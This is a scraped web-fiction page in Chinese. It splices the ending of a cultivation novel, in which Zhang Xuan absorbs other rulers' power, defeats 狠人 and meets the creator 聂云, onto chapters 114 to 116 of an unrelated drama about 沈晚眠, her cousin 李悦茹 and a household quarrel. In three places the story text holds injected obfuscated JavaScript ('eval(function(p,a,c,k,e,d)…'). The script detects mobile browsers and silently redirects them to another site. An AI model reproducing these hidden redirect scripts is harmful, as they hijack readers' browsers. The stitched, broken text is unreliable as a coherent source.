“融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第114章 战斗 沈晚眠知道吉祥很喜欢春桃，春桃离开时吉祥还难过了许久。 骤然听到自己真心对待的好友竟是敌国卧底，谁都受不了。 与其一直瞒着她，不如让她早点知道真相。 那日她才见过春桃，知道她就在自己附近。 万一哪日吉祥被她利用了，就麻烦了。 想到自己之前那可笑的真心，又想到今日她险些丧命，吉祥再也忍不住，失声痛哭起来。 何止吉祥难过，沈晚眠心里更不好受。 如今的吉祥只记得被她骗了十几日。 可上一世，她们二人硬生生被她骗了十年。 说来也可笑，春桃杀了自己，吉祥杀了春桃，吉祥又为自己而亡。 当真荒唐至极…… “大人，该说的不该说的，我都说了，查案是衙门的事，你还想强留我们不成。” 县令还是不想放人，那位正在查西瀛卧底的事，他方才递了消息。 至少要等那位来了之后，再让她们离开。 县令轻咳一声，有些不自然道：“沈小姐言重了，只是此事与西瀛卧底有关，本官不得不慎重，所以只能委屈沈小姐多留片刻。” 李悦茹将沈晚眠护在身后。 有她在，谁都不能欺负她的表妹。 “大人怕是糊涂了吧，我家是受害方，我表妹更是无辜，您不去追查凶手，反而揪住我表妹不放，到底是何居心！” 县令也不想得罪李家，但他更不能让那位不高兴。 他只能祈祷那位快点来，他真的要拖不住了…… 许是上天听到了县令的祈求。 下一秒他心心念念的人便出现在他的视野中。 县令顾不上李悦茹的质问，他如释重负的迎上前去。 “您终于来了，这位姑娘便是与西瀛卧底有关之人。” 裴行止压根没听县令说了什么。 一见到沈晚眠的背影，他的眼里便容不下别人了。 他有些意外，又有些紧张的上前。 “你怎么在这……” 裴行止刚向前走了两步，便被人厉声拦下。 “你谁啊，就是你和这个狗官串通，不让我表妹走的是吧。” 李悦茹一双眼睛睁的滴溜圆，那气势，像极了护崽的雌虎。 沈晚眠本来就烦，见到来的是裴行止，更是气不打一处来。 “表姐，没事了，这个人我认识。” 她拍了拍李悦茹的肩膀，从李悦茹身后走出。 看到裴行止的那一刻，沈晚眠的脸色瞬间多云转阴。 “不知宸王殿下有何指示？” 沈晚眠皮笑肉不笑道。 县令听了她的话反而送了一口气。 他俩认识啊，那就好办了。 知道要找她的可是宸王，不敢硬气了吧。 县令站在裴行止身边，颇有扬眉吐气之感。 “昭昭，不是的，你听我解释……” 裴行止赶紧为自己辩解。 “是他，是他说有嫌疑人，我才来的……” 慌乱间，裴行止看到满脸笑意的县令，便将他推出来当挡箭牌。 县令傻了眼，这是在唱哪一出？ 该害怕的不应该是对面的人吗？ “是吗？原来我是嫌疑人啊。” 沈晚眠知道这事不能赖他，但她就是有一口气咽不下去。 裴行止意识到自己说错了话，赶紧改口道：“不是……我不是那个意思……我……” 沈晚眠压根不给他解释机会。 “那好，我是嫌疑人，殿下要抓我吗？” 裴行止立马否认：“不，你不是嫌疑人。” “那我们可以离开了吗？” 裴行止哪里还敢忤逆她的话。 “当然可以。” 李悦茹还没从震惊中回过神。 她面前的是大名鼎鼎的宸王殿下，她刚才，凶了宸王殿下！ 还有，表妹和宸王殿下到底什么关系。 她怎么感觉宸王很怕沈晚眠…… “表姐，走吧。” 见李悦茹还在发愣，沈晚眠出声提醒道。 三人都已走出衙门，裴行止又追了上去。 “等等……昭昭，你等一下，我……” 沈晚眠回过头，眼神隐隐折射出怒意。 有完没完，她还有一堆事等着她去做，没空和他纠缠。 她没再管裴行止，直接拽着李悦茹和吉祥上了马车。 马车行驶了一段路，李悦茹透过窗户，看到裴行止还在原地没动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278212|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 心里不免有些忐忑。 表妹给王爷脸色看，这样真的好吗…… “昭昭啊，你和宸王殿下……是什么关系？” 李悦茹终究按捺不住那颗想八卦的心。 沈晚眠面无表情道：“不知道，不熟。” “哈哈……” 李悦茹干笑两声，忍不住在心中腹诽。 还没关系呢，你看我信吗？ 沈晚眠和吉祥都有心事，李悦茹则“心怀鬼胎”。 三人都在想自己的事，一路上谁都没再说话。 回到李府，三人下了马车。 府前守门的家丁见到李悦茹，表情十分复杂。 李悦茹也注意到了家丁的欲言又止。 她拧着眉上前：“看什么看，想说什么就说。” 李悦茹性子跳脱，经常和下人们玩闹，久而久之，有些胆子大的家丁便也不怕她。 如今门口的这位便是。 “有人到处说你**。” 说完这句话，他自己都忍不住笑了。 李悦茹的暴脾气瞬间上来了。 “谁，谁传的！” 她怎么净遇上不正常的人？ 谁啊，嘴这么损，她最近也没招惹谁吧？ “你自己进去看看吧，人还没走。” 李悦茹卷起袖子，从怀里掏出一根发带叼在嘴里。 随后她将头上的首饰扯掉，把头发全都扎在脑后。 家丁们都见怪不怪，这是切换成战斗模式了。 “表妹，帮我把发钗收起来，我先走一步。” 说完，李悦茹大刀阔斧的进了院子。 沈晚眠和吉祥只能帮她把地上的“烂摊子”收拾了。 蒋奋的惨叫声回荡在李府各个角落。 下人们都自觉躲起身，生怕这场“祸乱”会殃及自身。 蒋奋逃命似的在前面跑，李茵茵拿着扫把疯狂在后面追。 “李茵茵，你这个疯子，别追了。” 蒋奋被她追了好几圈，腿都要跑折了。 李茵茵哪里肯放过他，这人几年不见，嘴更欠了。 上来就说她女儿**，还说她女儿不是亲生的。 她还甚至还没见到人就已经听到下人们议论了。 第115章 撞鬼 李茵茵紧紧跟在蒋奋身后大喊道：“你才**，你全家都**，你全家都死绝了，你全家都不是亲生的。” 这人当她是傻子吗？当她们李府的人都是傻子吗？ 她十月怀胎生下的女儿，就算不是他亲生的，也是自己亲生的！ 蒋奋在前面一边气喘吁吁，一边大喊道：“你不觉得，你女儿跟你一点都不像吗？她真不是你亲生的，咱……咱俩亲生的孩子，现在在我家……” 李茵茵见他都这样了还在狡辩，气的她原本没有的力气一下又回来了。 她的速度一下提升上来。 和蒋奋的距离也一下拉近。 李茵茵使出浑身力气，向蒋奋头上砸去。 “嘭！”“啊！” 两道声音接连响起，挨得近的下人都纷纷探出头。 多少年没见过这样的热闹了，上一次见还是上一次…… 年纪大点的下人，见到此情此景不禁回忆起当年。 李茵茵和蒋奋还在一起时，这种场面时不时就会上演。 自从这位上门姑爷走后，李家都清静多少年了…… 李茵茵逮住蒋奋后，又接连打了他好几下。 手里的动作没停，她的嘴也没停，一直咒骂着蒋奋全家。 “你们蒋家都死绝了！还敢来我李家撒泼，我让你嘴贱，让你嘴贱！” “我今天不打死你，你就不姓蒋！” “**，让你咒我女儿，再说我女儿一句坏话，老娘烧了你的狗窝！” 李悦茹赶到时，李茵茵已经杀红眼了，蒋奋都被打的都开始翻白眼。 路上她已将来龙去脉理清，虽然她也很生气，但也不能看着她娘真的打死她爹吧。 她今天不想再看到第二个**。 “娘，别打了，再打就出人命了……” 李悦茹上前夺下母亲的“凶器”——一把即将折了的扫帚。 此时沈晚眠也赶了上来。 李悦茹赶紧向她求助：“表妹，快，快把我娘架走。” 沈晚眠有些害怕，但只能硬着头皮上。 没办法，表姐都为她两肋插刀了，她总不能忘恩负义吧…… 沈晚眠来到李茵茵身边，冲着对方挤出一抹微笑。 李茵茵哪里能真的让小辈架着她。 她也知道不能在打了，便自行起身离开了。 走之前还回头踹了蒋奋一脚。 李茵茵走后，李悦茹在沈晚眠的帮助下，把蒋奋移到了亭子里。 没办法，下人们都躲起来了，就算看到也不愿意帮蒋奋这个混蛋。 随后李悦茹说她渴了，要去喝点水，让沈晚眠帮她先照看着蒋奋。 饶是活了两世，沈晚眠也没见过这样的热闹啊。 亲姨母暴打前姨夫，表姐救父竟无一人支持。 她一直觉得李悦茹疯，合着根在姨母那里啊。 姨母疯起来，可比她可怕多了。 蒋奋被打的头晕眼花，意识模糊，他以为自己要**。 恍惚间她感觉有人把他移到别的地方。 他还以为自己被丢到了乱葬岗。 恢复意识时，他还在心中窃喜。 李茵茵，你还是失算了，想不到吧，他又活了。 蒋奋猛地睁开眼，刚好和不知所措的沈晚眠对上视线。 人在尴尬的时候总会假装忙碌，沈晚眠不知道该干什么，只能假笑着挥挥手朝她的这位“前姨夫”打招呼。 “啊啊啊……鬼啊。” 此刻蒋奋还没完全清醒。 直接将沈晚眠认成了李园园。 “啊？我……表姐，你快来，你爹好像疯了。” 正“兵荒马乱”时，李悦茹刚好回来了。 沈晚眠赶紧将她喊来。 却不想蒋奋见到李悦茹后，叫的更大声了。 “啊啊啊，鬼啊，鬼啊，你别过来……” 又是一声尖叫，沈晚眠烦躁的捂住耳朵。 这都什么破事…… 蒋奋叫完后，竟然又晕了过去。 沈晚眠直呼好家伙。 爹被自己的亲闺女吓晕，这也是史上独一份了吧。 “表姐，接下来怎么办……” 李悦茹也闹心的很。 “把他扔出去。” 沈晚眠好像要听不懂人话了…… 她不敢相信自己的耳朵，又问了一遍。 “表姐，你说什么？” 李悦茹深吸一口气，尽可能让自己的语气显得平静。 “我说……把他扔出去。” “小姐！这种事交给我们来办就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李悦茹察觉到不对劲，循着味找到了源头。 两个模糊的身影正跪在地上泣不成声。 仔细一听，这声音和沈晚眠身边的吉祥还挺像。 李悦茹走近一看，霍，原来就是吉祥。 “你们两个干嘛呢？” 突如其来的声音吓的两个小女娘尖叫着回过头。 这下李悦茹彻底看清了。 她们在烧纸钱！ 第116章 争吵 “你们在干什么！” 李悦茹快步上前，一把将蹲在地上的吉祥拉起。 吉祥脸颊上还挂着泪珠，眼睛里却只剩慌乱。 半夜偷偷烧纸已是大忌讳，她们还被逮个正着…… “小姐，您别怪吉祥，都是奴婢的主意，是奴婢的错……” 小文“扑通”一下跪倒在李悦茹脚边。 她身形单薄的如同地上的落叶。 仿佛随便一阵风，便能将她吹倒。 “你先起来。” 李悦茹有些不忍道。 她对小文有些印象，她和今日死的那个丫鬟常在一起。 如今她和吉祥凑在一处烧纸。 她们做的事不言而喻。 “你们是在为她烧纸吗？她叫什么名字？” 小文见李悦茹没有要责怪她们的意思，顿时松了一口气。 “回禀小姐，她叫阿鸢，纸鸢的鸢。” 李悦茹沉默着点点头，眉眼间难掩悲伤。 她在吉祥刚才蹲的地方蹲下。 地上摆着一盘水果，和几块点心。 还未熄灭的火光映的她的眼睛忽明忽暗。 又吹过一阵风，篮子里静静躺着的纸钱被卷起。 不偏不倚落到李悦茹手边。 小文吓了一跳，刚想俯身将这“不吉利”的东西拿掉。 李悦茹却拿起纸钱，放进了即将熄灭的火光中。 “阿鸢，对不起，今日如果不是我让你去取花灯，你就不会死，对不起……” 李悦茹的眼眶渐渐湿润。 这纸钱，不仅是为阿鸢烧的，也是为了她缺失的那份亲情。 她蹲在地上，沉默着烧了一张又一张。 李悦茹从未碰过纸钱。 烧起来没控制好量，不过片刻，篮子就见了底。 她回过头，脸上还挂着未干的泪痕。 声音有些沙哑道：“还有吗？” 小文有些意外的摇了摇头。 “没……没有了……” 李悦茹抽泣了两声，语气十分坦然道：“我记得，祠堂里还有些纸钱，你俩去拿点，再端两盘供奉的水果来。” 吉祥的眼睛瞪的老大。 她这是“哭坟”哭上瘾了？ 见二人愣在原地不动，李悦茹不满道：“快去啊，咱们一起送阿鸢最后一程。” 吉祥和小文对视一眼。 谁敢去抢老祖宗的东西啊！ 更何况她们还是下人，如果被主家发现了，她俩也别祭奠阿鸢了，直接下去陪她吧。 “奴婢不敢……” 小文惶恐的低下头。 接着李悦茹将目光移向吉祥。 “那你去。” 吉祥在心里大喊：“凭什么啊！” 嘴上却说的是：“小姐，李府这么大，我一个外人才来了几天，这夜黑风高的，万一迷路了怎么办？” 李悦茹从地上站起身：“你不敢，你不认路，难道还要我亲自去不成？” 吉祥又和小文对视一眼。 接着二人将目光移到李悦茹身上。 十分用力的点了点头。 李悦茹一时语塞，她又实在找不出话来怼她俩。 毕竟主意是她提出的，人家的理由也很合理。 这种大逆不道的事，谁敢去做？ 最后她一张脸憋得通红。 “好，好，我去就我去！” 留下这句话，李悦茹便赌气一般的往祠堂方向去了。 看她走远了，二人赶紧将东西收拾起来。 开玩笑呢，再闹下去她俩真的该去陪阿鸢了…… 李悦茹气呼呼的来到祠堂外。 脚踏入门栏的那一刻，她却不敢了。 说归说，真让她做的确有些胆怯。 就这样，她的脚悬在半空许久，始终没落到地面上。 背后刮过一阵阴风，吹的李悦茹起了一身鸡皮疙瘩。 该不会祖宗生气了吧！ 李悦茹利落的将脚收回。 又朝殿内拜了拜，才敢离开。 “茵茵，你怎么这么倔，兄长是为你好！” 李悦茹刚要离开，微弱中夹杂着怒意的声音让她停下脚步。 是舅舅，是舅舅的声音！ 舅舅和母亲在附近！ 似乎二人还发生了争吵。 李悦茹提起裙摆，鬼鬼祟祟的往声音传来的方向移动。 祠堂后面的亭子中，李茵茵冷着脸坐在石凳上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284171|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的李执怎么都劝不动妹妹，急的站起身。 本就长了一张严肃的脸，此刻看着更加吓人了。 李悦茹躲在假山后，偷偷瞥了一眼舅舅的脸色。 吓的她赶紧收回目光。 这是怎么了？ 大半夜的不睡觉，来祠堂吵架？ “蒋奋是什么样的人兄长不是不清楚，他嘴里何时有过实话？” 李茵茵别过头去，不想再听兄长的“胡言乱语”。 李执却不肯轻易放弃。 还在为自己的说辞辩解。 “县令的话你也听到了，人家都说了，凶手可能是冲着取花灯的人去的，那丫鬟，是为了替悦茹取花灯，才丧命，这还不明显吗？有人想让悦茹死！” 李茵茵冷哼一声：“这个我知道，悦茹我会保护好，不劳兄长费心。” 躲在假山后的李悦茹呆住了。 有人要杀自己？！ “那丫鬟刚死，蒋奋便迫不及待的来家里闹，还说死的悦茹，他为何如此笃信？说明**的就是他！” 